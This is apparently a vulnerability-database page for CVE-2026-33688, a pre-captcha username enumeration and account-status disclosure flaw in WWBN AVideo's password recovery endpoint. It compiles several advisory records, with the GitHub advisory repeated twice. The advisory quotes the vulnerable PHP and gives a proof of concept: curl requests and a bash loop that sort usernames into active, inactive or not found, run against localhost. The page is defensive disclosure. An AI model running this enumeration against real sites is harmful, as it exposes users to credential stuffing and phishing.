CVE-2026-33688
AVideo has Pre-Captcha User Enumeration and Account Status Disclosure in Password Recovery Endpoint
WWBN AVideo is an open source video platform. In versions up to and including 26.0, the password recovery endpoint at objects/userRecoverPass.php performs user existence and account status checks before validating the captcha. This allows an unauthenticated attacker to enumerate valid usernames and determine whether accounts are active, inactive, or banned — at scale and without solving any captcha — by observing three distinct JSON error responses. Commit e42f54123b460fd1b2ee01f2ce3d4a386e88d157 contains a patch.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- Low
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
5.3
AVideo has Pre-Captcha User Enumeration and Account Status Disclosure in Password Recovery Endpoint
WWBN AVideo is an open source video platform. In versions up to and including 26.0, the password recovery endpoint at objects/userRecoverPass.php performs user existence and account status checks before validating the captcha. This allows an unauthenticated attacker to enumerate valid usernames and determine whether accounts are active, inactive, or banned — at scale and without solving any captcha — by observing three distinct JSON error responses. Commit e42f54123b460fd1b2ee01f2ce3d4a386e88d157 contains a patch.
- Record
CVE-2026-33688- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - Weakness
- CWE-204
- Updated
- 2026-11-02
EUVDEUVD-2026-14498
5.3
WWBN AVideo is an open source video platform. In versions up to and including 26.0, the password recovery endpoint at objects/userRecoverPass.php performs user existence and account status checks before validating the captcha. This allows an unauthenticated attacker to enumerate valid usernames and determine whether accounts are active, inactive, or banned — at scale and without solving any captcha — by observing three distinct JSON error responses. Commit e42f54123b460fd1b2ee01f2ce3d4a386e88d157 contains a patch.
- Record
EUVD-2026-14498- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-m99f-mmvg-3xmx
5.3
AVideo has Pre-Captcha User Enumeration and Account Status Disclosure in Password Recovery Endpoint
Summary
The password recovery endpoint at objects/userRecoverPass.php performs user existence and account status checks before validating the captcha. This allows an unauthenticated attacker to enumerate valid usernames and determine whether accounts are active, inactive, or banned — at scale and without solving any captcha — by observing three distinct JSON error responses.
Details
In objects/userRecoverPass.php, the request flow is:
- Line 11 — A
Userobject is instantiated from unsanitized$_REQUEST['user']with no authentication:
$user = new User(0, $_REQUEST['user'], false);
- Lines 27-29 — If the user does not exist, a distinct error is returned immediately:
if (empty($user->getStatus())) {
$obj->error = __("User not found");
die(json_encode($obj));
}
- Lines 31-33 — If the user exists but is not active, a different distinct error is returned:
if ($user->getStatus() !== 'a') {
$obj->error = __("The user is not active");
die(json_encode($obj));
}
- Lines 37-41 — Captcha validation only occurs after both user enumeration checks:
if (empty($_REQUEST['captcha'])) {
$obj->error = __("Captcha is empty");
} else {
require_once 'captcha.php';
$valid = Captcha::validation($_REQUEST['captcha']);
This ordering creates a reliable oracle: requests that hit the captcha check confirm the user exists and is active, while the two earlier error messages reveal non-existence or inactive status — all without requiring a valid captcha.
By contrast, the registration endpoint (objects/userCreate.json.php) correctly validates the captcha at lines 32-42 before performing any user existence checks, confirming this ordering in the password recovery endpoint is a bug.
No rate limiting (rateLimitByIP) or brute force protection (bruteForceBlock) is applied to this endpoint. The framework's session-based DDOS protection is trivially bypassed by omitting cookies (each request gets a fresh session).
PoC
# 1. Test a non-existent user — returns "User not found" without captcha
curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \
-d 'user=nonexistent_user_xyz&captcha=' | jq .error
# Response: "User not found"
# 2. Test a valid active user — passes user checks, hits captcha validation
curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \
-d 'user=admin&captcha=' | jq .error
# Response: "Captcha is empty"
# 3. Test an inactive/banned user (if one exists) — returns distinct status message
curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \
-d 'user=banned_user&captcha=' | jq .error
# Response: "The user is not active"
# 4. Bulk enumeration script — no captcha solving required
for user in admin root test user1 user2 moderator editor; do
result=$(curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \
-d "user=${user}&captcha=")
error=$(echo "$result" | jq -r .error)
if [ "$error" = "Captcha is empty" ]; then
echo "[ACTIVE] $user"
elif [ "$error" = "The user is not active" ]; then
echo "[INACTIVE] $user"
else
echo "[NOT FOUND] $user"
fi
done
Impact
- Username enumeration: Attackers can determine which usernames are registered on the platform without any captcha or authentication barrier.
- Account status disclosure: Attackers can distinguish between active, inactive, and non-existent accounts, revealing moderation/ban status.
- Credential stuffing enablement: Confirmed valid usernames can be used in targeted password brute-force or credential stuffing attacks against the login endpoint.
- Phishing: Knowledge of valid active accounts enables targeted social engineering attacks against real users.
- No throttling: The absence of rate limiting on this endpoint allows high-speed automated enumeration.
Recommended Fix
Move the captcha validation before the…
- Record
GHSA-m99f-mmvg-3xmx- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - Weakness
- CWE-204
- Updated
- 2026-11-02
NVD
5.3
WWBN AVideo is an open source video platform. In versions up to and including 26.0, the password recovery endpoint at objects/userRecoverPass.php performs user existence and account status checks before validating the captcha. This allows an unauthenticated attacker to enumerate valid usernames and determine whether accounts are active, inactive, or banned — at scale and without solving any captcha — by observing three distinct JSON error responses. Commit e42f54123b460fd1b2ee01f2ce3d4a386e88d157 contains a patch.
- Record
CVE-2026-33688- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - Weakness
- CWE-204
- Updated
- 2026-11-02
OSV
5.3
AVideo has Pre-Captcha User Enumeration and Account Status Disclosure in Password Recovery Endpoint
WWBN AVideo is an open source video platform. In versions up to and including 26.0, the password recovery endpoint at objects/userRecoverPass.php performs user existence and account status checks before validating the captcha. This allows an unauthenticated attacker to enumerate valid usernames and determine whether accounts are active, inactive, or banned — at scale and without solving any captcha — by observing three distinct JSON error responses. Commit e42f54123b460fd1b2ee01f2ce3d4a386e88d157 contains a patch.
- Record
CVE-2026-33688- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - Weakness
- CWE-204
- Updated
- 2026-11-11
OSVGHSA-m99f-mmvg-3xmx
5.3
AVideo has Pre-Captcha User Enumeration and Account Status Disclosure in Password Recovery Endpoint
Summary
The password recovery endpoint at objects/userRecoverPass.php performs user existence and account status checks before validating the captcha. This allows an unauthenticated attacker to enumerate valid usernames and determine whether accounts are active, inactive, or banned — at scale and without solving any captcha — by observing three distinct JSON error responses.
Details
In objects/userRecoverPass.php, the request flow is:
- Line 11 — A
Userobject is instantiated from unsanitized$_REQUEST['user']with no authentication:
$user = new User(0, $_REQUEST['user'], false);
- Lines 27-29 — If the user does not exist, a distinct error is returned immediately:
if (empty($user->getStatus())) {
$obj->error = __("User not found");
die(json_encode($obj));
}
- Lines 31-33 — If the user exists but is not active, a different distinct error is returned:
if ($user->getStatus() !== 'a') {
$obj->error = __("The user is not active");
die(json_encode($obj));
}
- Lines 37-41 — Captcha validation only occurs after both user enumeration checks:
if (empty($_REQUEST['captcha'])) {
$obj->error = __("Captcha is empty");
} else {
require_once 'captcha.php';
$valid = Captcha::validation($_REQUEST['captcha']);
This ordering creates a reliable oracle: requests that hit the captcha check confirm the user exists and is active, while the two earlier error messages reveal non-existence or inactive status — all without requiring a valid captcha.
By contrast, the registration endpoint (objects/userCreate.json.php) correctly validates the captcha at lines 32-42 before performing any user existence checks, confirming this ordering in the password recovery endpoint is a bug.
No rate limiting (rateLimitByIP) or brute force protection (bruteForceBlock) is applied to this endpoint. The framework's session-based DDOS protection is trivially bypassed by omitting cookies (each request gets a fresh session).
PoC
# 1. Test a non-existent user — returns "User not found" without captcha
curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \
-d 'user=nonexistent_user_xyz&captcha=' | jq .error
# Response: "User not found"
# 2. Test a valid active user — passes user checks, hits captcha validation
curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \
-d 'user=admin&captcha=' | jq .error
# Response: "Captcha is empty"
# 3. Test an inactive/banned user (if one exists) — returns distinct status message
curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \
-d 'user=banned_user&captcha=' | jq .error
# Response: "The user is not active"
# 4. Bulk enumeration script — no captcha solving required
for user in admin root test user1 user2 moderator editor; do
result=$(curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \
-d "user=${user}&captcha=")
error=$(echo "$result" | jq -r .error)
if [ "$error" = "Captcha is empty" ]; then
echo "[ACTIVE] $user"
elif [ "$error" = "The user is not active" ]; then
echo "[INACTIVE] $user"
else
echo "[NOT FOUND] $user"
fi
done
Impact
- Username enumeration: Attackers can determine which usernames are registered on the platform without any captcha or authentication barrier.
- Account status disclosure: Attackers can distinguish between active, inactive, and non-existent accounts, revealing moderation/ban status.
- Credential stuffing enablement: Confirmed valid usernames can be used in targeted password brute-force or credential stuffing attacks against the login endpoint.
- Phishing: Knowledge of valid active accounts enables targeted social engineering attacks against real users.
- No throttling: The absence of rate limiting on this endpoint allows high-speed automated enumeration.
Recommended Fix
Move the captcha validation before the…
- Record
GHSA-m99f-mmvg-3xmx- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - Weakness
- CWE-204
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
wwbn/avideoPackagist |
through 26.0 | None known |
wwbn/avideoPackagist |
through 26.0, plus listed versions 10.410.81111.111.1.1 Show 11 moreShow less11.511.612.414.314.3.114.418.021.022.024.025.0 |
None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| facts | OSV | |
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-33688 is a medium vulnerability (CVSS 5.3) in Wwbn Avideo, published March 23, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.29%, the 21st percentile. No source names a fixed version.
References
github.com/WWBN/AVideo/security/advisories/GHSA-m99f-mmvg-3xmx
github.com/WWBN/AVideo/commit/e42f54123b460fd1b2ee01f2ce3d4a386e88d157
nvd.nist.gov/vuln/detail/CVE-2026-33688
github.com/advisories/GHSA-m99f-mmvg-3xmx
github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33688.json
github.com/WWBN/AVideo
Left out here: the rest of 2 source descriptions. The JSON record has them.